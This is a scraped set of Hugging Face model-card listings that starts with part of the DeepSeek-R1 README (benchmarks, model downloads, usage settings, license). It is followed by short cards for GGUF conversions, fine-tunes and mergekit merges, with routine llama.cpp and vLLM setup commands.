alt="Hugging Face" src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-DeepSeek%20AI-ffc107?color=ffc107&logoColor=white" style="display: inline-block; vertical-align: middle;"/> </a> </div> <div align="center" style="line-height: 1;"> <a href="https://discord.gg/Tc7c45Zzu5" target="_blank" style="margin: 2px;"> <img alt="Discord" src="https://img.shields.io/badge/Discord-DeepSeek%20AI-7289da?logo=discord&logoColor=white&color=7289da" style="display: inline-block; vertical-align: middle;"/> </a> <a href="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/qr.jpeg?raw=true" target="_blank" style="margin: 2px;"> <img alt="Wechat" src="https://img.shields.io/badge/WeChat-DeepSeek%20AI-brightgreen?logo=wechat&logoColor=white" style="display: inline-block; vertical-align: middle;"/> </a> <a href="https://twitter.com/deepseek_ai" target="_blank" style="margin: 2px;"> <img alt="Twitter Follow" src="https://img.shields.io/badge/Twitter-deepseek_ai-white?logo=x&logoColor=white" style="display: inline-block; vertical-align: middle;"/> </a> </div> <div align="center" style="line-height: 1;"> <a href="https://github.com/deepseek-ai/DeepSeek-R1/blob/main/LICENSE" style="margin: 2px;"> <img alt="License" src="https://img.shields.io/badge/License-MIT-f5de53?&color=f5de53" style="display: inline-block; vertical-align: middle;"/> </a> </div> <p align="center"> <a href="https://github.com/deepseek-ai/DeepSeek-R1/blob/main/DeepSeek_R1.pdf"><b>Paper Link</b>👁️</a> </p> ## 1. Introduction We introduce our first-generation reasoning models, DeepSeek-R1-Zero and DeepSeek-R1. DeepSeek-R1-Zero, a model trained via large-scale reinforcement learning (RL) without supervised fine-tuning (SFT) as a preliminary step, demonstrated remarkable performance on reasoning. With RL, DeepSeek-R1-Zero naturally emerged with numerous powerful and interesting reasoning behaviors. However, DeepSeek-R1-Zero encounters challenges such as endless repetition, poor readability, and language mixing. To address these issues and further enhance reasoning performance, we introduce DeepSeek-R1, which incorporates cold-start data before RL. DeepSeek-R1 achieves performance comparable to OpenAI-o1 across math, code, and reasoning tasks. To support the research community, we have open-sourced DeepSeek-R1-Zero, DeepSeek-R1, and six dense models distilled from DeepSeek-R1 based on Llama and Qwen. DeepSeek-R1-Distill-Qwen-32B outperforms OpenAI-o1-mini across various benchmarks, achieving new state-of-the-art results for dense models. NOTE: Before running DeepSeek-R1 series models locally, we kindly recommend reviewing the [Usage Recommendation](#usage-recommendations) section. <p align="center"> <img width="80%" src="figures/benchmark.jpg"> </p> ## 2. Model Summary --- Post-Training: Large-Scale Reinforcement Learning on the Base Model - We directly apply reinforcement learning (RL) to the base model without relying on supervised fine-tuning (SFT) as a preliminary step. This approach allows the model to explore chain-of-thought (CoT) for solving complex problems, resulting in the development of DeepSeek-R1-Zero. DeepSeek-R1-Zero demonstrates capabilities such as self-verification, reflection, and generating long CoTs, marking a significant milestone for the research community. Notably, it is the first open research to validate that reasoning capabilities of LLMs can be incentivized purely through RL, without the need for SFT. This breakthrough paves the way for future advancements in this area. - We introduce our pipeline to develop DeepSeek-R1. The pipeline incorporates two RL stages aimed at discovering improved reasoning patterns and aligning with human preferences, as well as two SFT stages that serve as the seed for the model's reasoning and non-reasoning capabilities. We believe the pipeline will benefit the industry by creating better models. --- Distillation: Smaller Models Can Be Powerful Too - We demonstrate that the reasoning patterns of larger models can be distilled into smaller models, resulting in better performance compared to the reasoning patterns discovered through RL on small models. The open source DeepSeek-R1, as well as its API, will benefit the research community to distill better smaller models in the future. - Using the reasoning data generated by DeepSeek-R1, we fine-tuned several dense models that are widely used in the research community. The evaluation results demonstrate that the distilled smaller dense models perform exceptionally well on benchmarks. We open-source distilled 1.5B, 7B, 8B, 14B, 32B, and 70B checkpoints based on Qwen2.5 and Llama3 series to the community. ## 3. Model Downloads ### DeepSeek-R1 Models <div align="center"> \| Model \| #Total Params \| #Activated Params \| Context Length \| Download \| \| :------------: \| :------------: \| :------------: \| :------------: \| :------------: \| \| DeepSeek-R1-Zero \| 671B \| 37B \| 128K \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Zero) \| \| DeepSeek-R1 \| 671B \| 37B \| 128K \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1) \| </div> DeepSeek-R1-Zero & DeepSeek-R1 are trained based on DeepSeek-V3-Base. For more details regarding the model architecture, please refer to [DeepSeek-V3](https://github.com/deepseek-ai/DeepSeek-V3) repository. ### DeepSeek-R1-Distill Models <div align="center"> \| Model \| Base Model \| Download \| \| :------------: \| :------------: \| :------------: \| \| DeepSeek-R1-Distill-Qwen-1.5B \| [Qwen2.5-Math-1.5B](https://huggingface.co/Qwen/Qwen2.5-Math-1.5B) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B) \| \| DeepSeek-R1-Distill-Qwen-7B \| [Qwen2.5-Math-7B](https://huggingface.co/Qwen/Qwen2.5-Math-7B) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-7B) \| \| DeepSeek-R1-Distill-Llama-8B \| [Llama-3.1-8B](https://huggingface.co/meta-llama/Llama-3.1-8B) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Llama-8B) \| \| DeepSeek-R1-Distill-Qwen-14B \| [Qwen2.5-14B](https://huggingface.co/Qwen/Qwen2.5-14B) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-14B) \| \|DeepSeek-R1-Distill-Qwen-32B \| [Qwen2.5-32B](https://huggingface.co/Qwen/Qwen2.5-32B) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-32B) \| \| DeepSeek-R1-Distill-Llama-70B \| [Llama-3.3-70B-Instruct](https://huggingface.co/meta-llama/Llama-3.3-70B-Instruct) \| [🤗 HuggingFace](https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Llama-70B) \| </div> DeepSeek-R1-Distill models are fine-tuned based on open-source models, using samples generated by DeepSeek-R1. We slightly change their configs and tokenizers. Please use our setting to run these models. ## 4. Evaluation Results ### DeepSeek-R1-Evaluation For all our models, the maximum generation length is set to 32,768 tokens. For benchmarks requiring sampling, we use a temperature of $0.6$, a top-p value of $0.95$, and generate 64 responses per query to estimate pass@1. <div align="center"> \| Category \| Benchmark (Metric) \| Claude-3.5-Sonnet-1022 \| GPT-4o 0513 \| DeepSeek V3 \| OpenAI o1-mini \| OpenAI o1-1217 \| DeepSeek R1 \| \|----------\|-------------------\|----------------------\|------------\|--------------\|----------------\|------------\|--------------\| \| \| Architecture \| - \| - \| MoE \| - \| - \| MoE \| \| \| # Activated Params \| - \| - \| 37B \| - \| - \| 37B \| \| \| # Total Params \| - \| - \| 671B \| - \| - \| 671B \| \| English \| MMLU (Pass@1) \| 88.3 \| 87.2 \| 88.5 \| 85.2 \| 91.8 \| 90.8 \| \| \| MMLU-Redux (EM) \| 88.9 \| 88.0 \| 89.1 \| 86.7 \| - \| 92.9 \| \| \| MMLU-Pro (EM) \| 78.0 \| 72.6 \| 75.9 \| 80.3 \| - \| 84.0 \| \| \| DROP (3-shot F1) \| 88.3 \| 83.7 \| 91.6 \| 83.9 \| 90.2 \| 92.2 \| \| \| IF-Eval (Prompt Strict) \| 86.5 \| 84.3 \| 86.1 \| 84.8 \| - \| 83.3 \| \| \| GPQA-Diamond (Pass@1) \| 65.0 \| 49.9 \| 59.1 \| 60.0 \| 75.7 \| 71.5 \| \| \| SimpleQA (Correct) \| 28.4 \| 38.2 \| 24.9 \| 7.0 \| 47.0 \| 30.1 \| \| \| FRAMES (Acc.) \| 72.5 \| 80.5 \| 73.3 \| 76.9 \| - \| 82.5 \| \| \| AlpacaEval2.0 (LC-winrate) \| 52.0 \| 51.1 \| 70.0 \| 57.8 \| - \| 87.6 \| \| \| ArenaHard (GPT-4-1106) \| 85.2 \| 80.4 \| 85.5 \| 92.0 \| - \| 92.3 \| \| Code \| LiveCodeBench (Pass@1-COT) \| 33.8 \| 34.2 \| - \| 53.8 \| 63.4 \| 65.9 \| \| \| Codeforces (Percentile) \| 20.3 \| 23.6 \| 58.7 \| 93.4 \| 96.6 \| 96.3 \| \| \| Codeforces (Rating) \| 717 \| 759 \| 1134 \| 1820 \| 2061 \| 2029 \| \| \| SWE Verified (Resolved) \| 50.8 \| 38.8 \| 42.0 \| 41.6 \| 48.9 \| 49.2 \| \| \| Aider-Polyglot (Acc.) \| 45.3 \| 16.0 \| 49.6 \| 32.9 \| 61.7 \| 53.3 \| \| Math \| AIME 2024 (Pass@1) \| 16.0 \| 9.3 \| 39.2 \| 63.6 \| 79.2 \| 79.8 \| \| \| MATH-500 (Pass@1) \| 78.3 \| 74.6 \| 90.2 \| 90.0 \| 96.4 \| 97.3 \| \| \| CNMO 2024 (Pass@1) \| 13.1 \| 10.8 \| 43.2 \| 67.6 \| - \| 78.8 \| \| Chinese \| CLUEWSC (EM) \| 85.4 \| 87.9 \| 90.9 \| 89.9 \| - \| 92.8 \| \| \| C-Eval (EM) \| 76.7 \| 76.0 \| 86.5 \| 68.9 \| - \| 91.8 \| \| \| C-SimpleQA (Correct) \| 55.4 \| 58.7 \| 68.0 \| 40.3 \| - \| 63.7 \| </div> ### Distilled Model Evaluation <div align="center"> \| Model \| AIME 2024 pass@1 \| AIME 2024 cons@64 \| MATH-500 pass@1 \| GPQA Diamond pass@1 \| LiveCodeBench pass@1 \| CodeForces rating \| \|------------------------------------------\|------------------\|-------------------\|-----------------\|----------------------\|----------------------\|-------------------\| \| GPT-4o-0513 \| 9.3 \| 13.4 \| 74.6 \| 49.9 \| 32.9 \| 759 \| \| Claude-3.5-Sonnet-1022 \| 16.0 \| 26.7 \| 78.3 \| 65.0 \| 38.9 \| 717 \| \| o1-mini \| 63.6 \| 80.0 \| 90.0 \| 60.0 \| 53.8 \| 1820 \| \| QwQ-32B-Preview \| 44.0 \| 60.0 \| 90.6 \| 54.5 \| 41.9 \| 1316 \| \| DeepSeek-R1-Distill-Qwen-1.5B \| 28.9 \| 52.7 \| 83.9 \| 33.8 \| 16.9 \| 954 \| \| DeepSeek-R1-Distill-Qwen-7B \| 55.5 \| 83.3 \| 92.8 \| 49.1 \| 37.6 \| 1189 \| \| DeepSeek-R1-Distill-Qwen-14B \| 69.7 \| 80.0 \| 93.9 \| 59.1 \| 53.1 \| 1481 \| \| DeepSeek-R1-Distill-Qwen-32B \| 72.6 \| 83.3 \| 94.3 \| 62.1 \| 57.2 \| 1691 \| \| DeepSeek-R1-Distill-Llama-8B \| 50.4 \| 80.0 \| 89.1 \| 49.0 \| 39.6 \| 1205 \| \| DeepSeek-R1-Distill-Llama-70B \| 70.0 \| 86.7 \| 94.5 \| 65.2 \| 57.5 \| 1633 \| </div> ## 5. Chat Website & API Platform You can chat with DeepSeek-R1 on DeepSeek's official website: [chat.deepseek.com](https://chat.deepseek.com), and switch on the button "DeepThink" We also provide OpenAI-Compatible API at DeepSeek Platform: [platform.deepseek.com](https://platform.deepseek.com/) ## 6. How to Run Locally ### DeepSeek-R1 Models Please visit [DeepSeek-V3](https://github.com/deepseek-ai/DeepSeek-V3) repo for more information about running DeepSeek-R1 locally. NOTE: Hugging Face's Transformers has not been directly supported yet. ### DeepSeek-R1-Distill Models DeepSeek-R1-Distill models can be utilized in the same manner as Qwen or Llama models. For instance, you can easily start a service using [vLLM](https://github.com/vllm-project/vllm): ```shell vllm serve deepseek-ai/DeepSeek-R1-Distill-Qwen-32B --tensor-parallel-size 2 --max-model-len 32768 --enforce-eager ``` You can also easily start a service using [SGLang](https://github.com/sgl-project/sglang) ```bash python3 -m sglang.launch_server --model deepseek-ai/DeepSeek-R1-Distill-Qwen-32B --trust-remote-code --tp 2 ``` ### Usage Recommendations We recommend adhering to the following configurations when utilizing the DeepSeek-R1 series models, including benchmarking, to achieve the expected performance: 1. Set the temperature within the range of 0.5-0.7 (0.6 is recommended) to prevent endless repetitions or incoherent outputs. 2. Avoid adding a system prompt; all instructions should be contained within the user prompt. 3. For mathematical problems, it is advisable to include a directive in your prompt such as: "Please reason step by step, and put your final answer within \boxed{}." 4. When evaluating model performance, it is recommended to conduct multiple tests and average the results. Additionally, we have observed that the DeepSeek-R1 series models tend to bypass thinking pattern (i.e., outputting "\<think\>\n\n\</think\>") when responding to certain queries, which can adversely affect the model's performance. To ensure that the model engages in thorough reasoning, we recommend enforcing the model to initiate its response with "\<think\>\n" at the beginning of every output. ## 7. License This code repository and the model weights are licensed under the [MIT License](https://github.com/deepseek-ai/DeepSeek-R1/blob/main/LICENSE). DeepSeek-R1 series support commercial use, allow for any modifications and derivative works, including, but not limited to, distillation for training other LLMs. Please note that: - DeepSeek-R1-Distill-Qwen-1.5B, DeepSeek-R1-Distill-Qwen-7B, DeepSeek-R1-Distill-Qwen-14B and DeepSeek-R1-Distill-Qwen-32B are derived from [Qwen-2.5 series](https://github.com/QwenLM/Qwen2.5), which are originally licensed under [Apache 2.0 License](https://huggingface.co/Qwen/Qwen2.5-1.5B/blob/main/LICENSE), and now finetuned with 800k samples curated with DeepSeek-R1. - DeepSeek-R1-Distill-Llama-8B is derived from Llama3.1-8B-Base and is originally licensed under [llama3.1 license](https://huggingface.co/meta-llama/Llama-3.1-8B/blob/main/LICENSE). - DeepSeek-R1-Distill-Llama-70B is derived from Llama3.3-70B-Instruct and is originally licensed under [llama3.3 license](https://huggingface.co/meta-llama/Llama-3.3-70B-Instruct/blob/main/LICENSE). ## 8. Citation ``` @misc{deepseekai2025deepseekr1incentivizingreasoningcapability, title={DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning}, author={DeepSeek-AI}, year={2025}, eprint={2501.12948}, archivePrefix={arXiv}, primaryClass={cs.CL}, url={https://arxiv.org/abs/2501.12948}, } ``` ## 9. Contact If you have any questions, please raise an issue or contact us at [[email protected]]([email protected]).
Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF	Bouquets	2025-05-30T07:55:31Z	5	0	transformers	[ "transformers", "gguf", "llama-cpp", "gguf-my-repo", "base_model:deepseek-ai/DeepSeek-R1-0528-Qwen3-8B", "base_model:quantized:deepseek-ai/DeepSeek-R1-0528-Qwen3-8B", "license:mit", "endpoints_compatible", "region:us", "conversational" ]	null	2025-05-30T07:55:03Z	--- license: mit library_name: transformers tags: - llama-cpp - gguf-my-repo base_model: deepseek-ai/DeepSeek-R1-0528-Qwen3-8B --- # Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF This model was converted to GGUF format from [`deepseek-ai/DeepSeek-R1-0528-Qwen3-8B`](https://huggingface.co/deepseek-ai/DeepSeek-R1-0528-Qwen3-8B) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space. Refer to the [original model card](https://huggingface.co/deepseek-ai/DeepSeek-R1-0528-Qwen3-8B) for more details on the model. ## Use with llama.cpp Install llama.cpp through brew (works on Mac and Linux) ```bash brew install llama.cpp ``` Invoke the llama.cpp server or the CLI. ### CLI: ```bash llama-cli --hf-repo Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-q4_k_m.gguf -p "The meaning to life and the universe is" ``` ### Server: ```bash llama-server --hf-repo Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-q4_k_m.gguf -c 2048 ``` Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well. Step 1: Clone llama.cpp from GitHub. ``` git clone https://github.com/ggerganov/llama.cpp ``` Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux). ``` cd llama.cpp && LLAMA_CURL=1 make ``` Step 3: Run inference through the main binary. ``` ./llama-cli --hf-repo Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-q4_k_m.gguf -p "The meaning to life and the universe is" ``` or ``` ./llama-server --hf-repo Bouquets/DeepSeek-R1-0528-Qwen3-8B-Q4_K_M-GGUF --hf-file deepseek-r1-0528-qwen3-8b-q4_k_m.gguf -c 2048 ```
nikmandava/albert-term-scorer-base-v1	nikmandava	2025-05-30T07:55:15Z	1	0	transformers	[ "transformers", "safetensors", "albert", "feature-extraction", "arxiv:1910.09700", "endpoints_compatible", "region:us" ]	feature-extraction	2025-05-30T07:55:05Z	--- library_name: transformers tags: [] --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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TheMindExpansionNetwork/M1NDB0T-DR34M3R-R1-0528-Qwen3-8B	TheMindExpansionNetwork	2025-05-30T07:54:19Z	7	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "llama-factory", "conversational", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T07:11:09Z	--- library_name: transformers tags: - llama-factory --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF	Theros	2025-05-30T07:50:53Z	1	0	transformers	[ "transformers", "gguf", "mergekit", "merge", "llama-cpp", "gguf-my-repo", "base_model:SvalTek/Gemma3-ColdBrew-Lorenz", "base_model:quantized:SvalTek/Gemma3-ColdBrew-Lorenz", "endpoints_compatible", "region:us", "conversational" ]	null	2025-05-30T07:50:18Z	--- base_model: SvalTek/Gemma3-ColdBrew-Lorenz library_name: transformers tags: - mergekit - merge - llama-cpp - gguf-my-repo --- # Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF This model was converted to GGUF format from [`SvalTek/Gemma3-ColdBrew-Lorenz`](https://huggingface.co/SvalTek/Gemma3-ColdBrew-Lorenz) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space. Refer to the [original model card](https://huggingface.co/SvalTek/Gemma3-ColdBrew-Lorenz) for more details on the model. ## Use with llama.cpp Install llama.cpp through brew (works on Mac and Linux) ```bash brew install llama.cpp ``` Invoke the llama.cpp server or the CLI. ### CLI: ```bash llama-cli --hf-repo Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF --hf-file gemma3-coldbrew-lorenz-q5_k_m.gguf -p "The meaning to life and the universe is" ``` ### Server: ```bash llama-server --hf-repo Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF --hf-file gemma3-coldbrew-lorenz-q5_k_m.gguf -c 2048 ``` Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well. Step 1: Clone llama.cpp from GitHub. ``` git clone https://github.com/ggerganov/llama.cpp ``` Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux). ``` cd llama.cpp && LLAMA_CURL=1 make ``` Step 3: Run inference through the main binary. ``` ./llama-cli --hf-repo Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF --hf-file gemma3-coldbrew-lorenz-q5_k_m.gguf -p "The meaning to life and the universe is" ``` or ``` ./llama-server --hf-repo Theros/Gemma3-ColdBrew-Lorenz-Q5_K_M-GGUF --hf-file gemma3-coldbrew-lorenz-q5_k_m.gguf -c 2048 ```
2yunadaaa/qwen2.5-7B-instruct-3kingdoms-augmented	2yunadaaa	2025-05-30T07:48:58Z	4	0	transformers	[ "transformers", "safetensors", "qwen2", "text-generation", "text-generation-inference", "unsloth", "trl", "sft", "conversational", "en", "license:apache-2.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T07:41:41Z	--- base_model: unsloth/qwen2.5-7b-instruct-unsloth-bnb-4bit tags: - text-generation-inference - transformers - unsloth - qwen2 - trl - sft license: apache-2.0 language: - en --- # Uploaded model - Developed by: 2yunadaaa - License: apache-2.0 - Finetuned from model : unsloth/qwen2.5-7b-instruct-unsloth-bnb-4bit This qwen2 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library. [<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
tooba248/cross-modal-retriever	tooba248	2025-05-30T07:47:14Z	0	0	null	[ "region:us" ]	null	2025-05-29T23:18:06Z	# Cross-Modal Retriever (Flickr30k Test) This app evaluates a fine-tuned CLIP model using the full test split from Flickr30k. - Upload an image to retrieve its best-matching caption. - Enter a caption to retrieve the closest image.
chargoddard/mixtralmerge-8x7B-rebalanced-test	chargoddard	2025-05-30T07:31:12Z	13	0	transformers	[ "transformers", "pytorch", "safetensors", "mixtral", "text-generation", "merge", "mergekit", "conversational", "dataset:Open-Orca/SlimOrca", "license:cc-by-nc-4.0", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2024-01-04T07:49:22Z	--- license: cc-by-nc-4.0 tags: - merge - mergekit datasets: - Open-Orca/SlimOrca --- This is a dumb experiment - don't expect it to be good! I merged a few Mixtral models together then tuned only the routing parameters. There was a pretty steep drop in loss with only a bit of training - went from ~0.99 to ~.7 over about ten million tokens. I'm hoping this after-the-fact balancing will have reduced some of the nasty behavior typical of current tunes. But maybe it just made it even dumber! We'll see. Uses ChatML format. Will update with more details if it turns out promising.
chargoddard/llama-2-34b-uncode	chargoddard	2025-05-30T07:31:11Z	11	5	transformers	[ "transformers", "safetensors", "llama", "text-generation", "en", "dataset:the_pile_books3", "dataset:togethercomputer/RedPajama-Data-1T-Sample", "license:llama2", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2023-08-27T09:11:25Z	--- license: llama2 datasets: - the_pile_books3 - togethercomputer/RedPajama-Data-1T-Sample language: - en --- very wip experiment. # [Open LLM Leaderboard Evaluation Results](https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard) Detailed results can be found [here](https://huggingface.co/datasets/open-llm-leaderboard/details_chargoddard__llama-2-34b-uncode) \| Metric \| Value \| \|-----------------------\|---------------------------\| \| Avg. \| 36.2 \| \| ARC (25-shot) \| 39.51 \| \| HellaSwag (10-shot) \| 33.9 \| \| MMLU (5-shot) \| 38.49 \| \| TruthfulQA (0-shot) \| 40.94 \| \| Winogrande (5-shot) \| 74.35 \| \| GSM8K (5-shot) \| 20.77 \| \| DROP (3-shot) \| 5.43 \|
tonglaovn/llama3_8B_finetuned_sport_tva	tonglaovn	2025-05-30T07:28:24Z	0	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "trl", "sft", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "4-bit", "bitsandbytes", "region:us" ]	text-generation	2025-05-30T07:26:52Z	--- library_name: transformers tags: - trl - sft --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated. - Developed by: [More Information Needed] - Funded by [optional]: [More Information Needed] - Shared by [optional]: [More Information Needed] - Model type: [More Information Needed] - Language(s) (NLP): [More Information Needed] - License: [More Information Needed] - Finetuned from model [optional]: [More Information Needed] ### Model Sources [optional] <!-- Provide the basic links for the model. --> - Repository: [More Information Needed] - Paper [optional]: [More Information Needed] - Demo [optional]: [More Information Needed] ## Uses <!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. --> ### Direct Use <!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. --> [More Information Needed] ### Downstream Use [optional] <!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app --> [More Information Needed] ### Out-of-Scope Use <!-- This section addresses misuse, malicious use, and uses that the model will not work well for. --> [More Information Needed] ## Bias, Risks, and Limitations <!-- This section is meant to convey both technical and sociotechnical limitations. --> [More Information Needed] ### Recommendations <!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. --> Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. ## How to Get Started with the Model Use the code below to get started with the model. [More Information Needed] ## Training Details ### Training Data <!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. --> [More Information Needed] ### Training Procedure <!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. --> #### Preprocessing [optional] [More Information Needed] #### Training Hyperparameters - Training regime: [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision --> #### Speeds, Sizes, Times [optional] <!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. --> [More Information Needed] ## Evaluation <!-- This section describes the evaluation protocols and provides the results. --> ### Testing Data, Factors & Metrics #### Testing Data <!-- This should link to a Dataset Card if possible. --> [More Information Needed] #### Factors <!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. --> [More Information Needed] #### Metrics <!-- These are the evaluation metrics being used, ideally with a description of why. --> [More Information Needed] ### Results [More Information Needed] #### Summary ## Model Examination [optional] <!-- Relevant interpretability work for the model goes here --> [More Information Needed] ## Environmental Impact <!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly --> Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). - Hardware Type: [More Information Needed] - Hours used: [More Information Needed] - Cloud Provider: [More Information Needed] - Compute Region: [More Information Needed] - Carbon Emitted: [More Information Needed] ## Technical Specifications [optional] ### Model Architecture and Objective [More Information Needed] ### Compute Infrastructure [More Information Needed] #### Hardware [More Information Needed] #### Software [More Information Needed] ## Citation [optional] <!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. --> BibTeX: [More Information Needed] APA: [More Information Needed] ## Glossary [optional] <!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. --> [More Information Needed] ## More Information [optional] [More Information Needed] ## Model Card Authors [optional] [More Information Needed] ## Model Card Contact [More Information Needed]
Inect2/loop_silver_experience	Inect2	2025-05-30T07:26:11Z	0	0	null	[ "base_model:black-forest-labs/FLUX.1-dev", "base_model:finetune:black-forest-labs/FLUX.1-dev", "region:us" ]	null	2025-05-07T09:54:16Z	--- base_model: - black-forest-labs/FLUX.1-dev trigger_word: - vxq9_loop dataset: - https://images.inku.tech/datasets/771eec74-d034-405f-85ca-05088823888f ---
tinycompany/Qwentify3-1.6b-adibun-it-base	tinycompany	2025-05-30T07:26:10Z	0	0	null	[ "safetensors", "qwen3", "license:apache-2.0", "region:us" ]	null	2025-05-30T07:14:29Z	--- license: apache-2.0 ---
pot99rta/DarkThink-DirectiveReasoner-12B	pot99rta	2025-05-30T07:20:46Z	10	0	transformers	[ "transformers", "safetensors", "mistral", "text-generation", "mergekit", "merge", "conversational", "arxiv:2306.01708", "base_model:ReadyArt/Omega-Darker_The-Final-Directive-12B", "base_model:merge:ReadyArt/Omega-Darker_The-Final-Directive-12B", "base_model:pot99rta/MagcarpMell-ThinkandReasoner-12B", "base_model:merge:pot99rta/MagcarpMell-ThinkandReasoner-12B", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-29T21:01:21Z	--- base_model: - pot99rta/MagcarpMell-ThinkandReasoner-12B - ReadyArt/Omega-Darker_The-Final-Directive-12B library_name: transformers tags: - mergekit - merge --- # DarkThink-DirectiveReasoner-12B ![image/png](https://cdn-uploads.huggingface.co/production/uploads/636ea389fd9751c3d081e88e/u94zfBTF6K5zFzkzizrsT.png) More Robust with all the Darkness added. ```Models Merged:``` ```1. ReadyArt/Omega-Darker_The-Final-Directive-12B``` ```2. pot99rta/MagcarpMell-ThinkandReasoner-12B``` ```Preset:``` ```Use ChatML or Mistral``` ChatML works better for reasoning due to Magicap and MagMell being ChatML for their base Models. Just realized I've been spelling Magcap with 'Magcarp' this WHOLE time.. # merge This is a merge of pre-trained language models created using [mergekit](https://github.com/cg123/mergekit). ## Merge Details ### Merge Method This model was merged using the [TIES](https://arxiv.org/abs/2306.01708) merge method using [ReadyArt/Omega-Darker_The-Final-Directive-12B](https://huggingface.co/ReadyArt/Omega-Darker_The-Final-Directive-12B) as a base. ### Models Merged The following models were included in the merge: * [pot99rta/MagcarpMell-ThinkandReasoner-12B](https://huggingface.co/pot99rta/MagcarpMell-ThinkandReasoner-12B) ### Configuration The following YAML configuration was used to produce this model: ```yaml models: - model: ReadyArt/Omega-Darker_The-Final-Directive-12B #no parameters necessary for base model - model: ReadyArt/Omega-Darker_The-Final-Directive-12B parameters: density: 0.5 weight: 0.5 - model: pot99rta/MagcarpMell-ThinkandReasoner-12B parameters: density: 0.5 weight: 0.5 merge_method: ties base_model: ReadyArt/Omega-Darker_The-Final-Directive-12B parameters: normalize: false int8_mask: true dtype: float16 ```
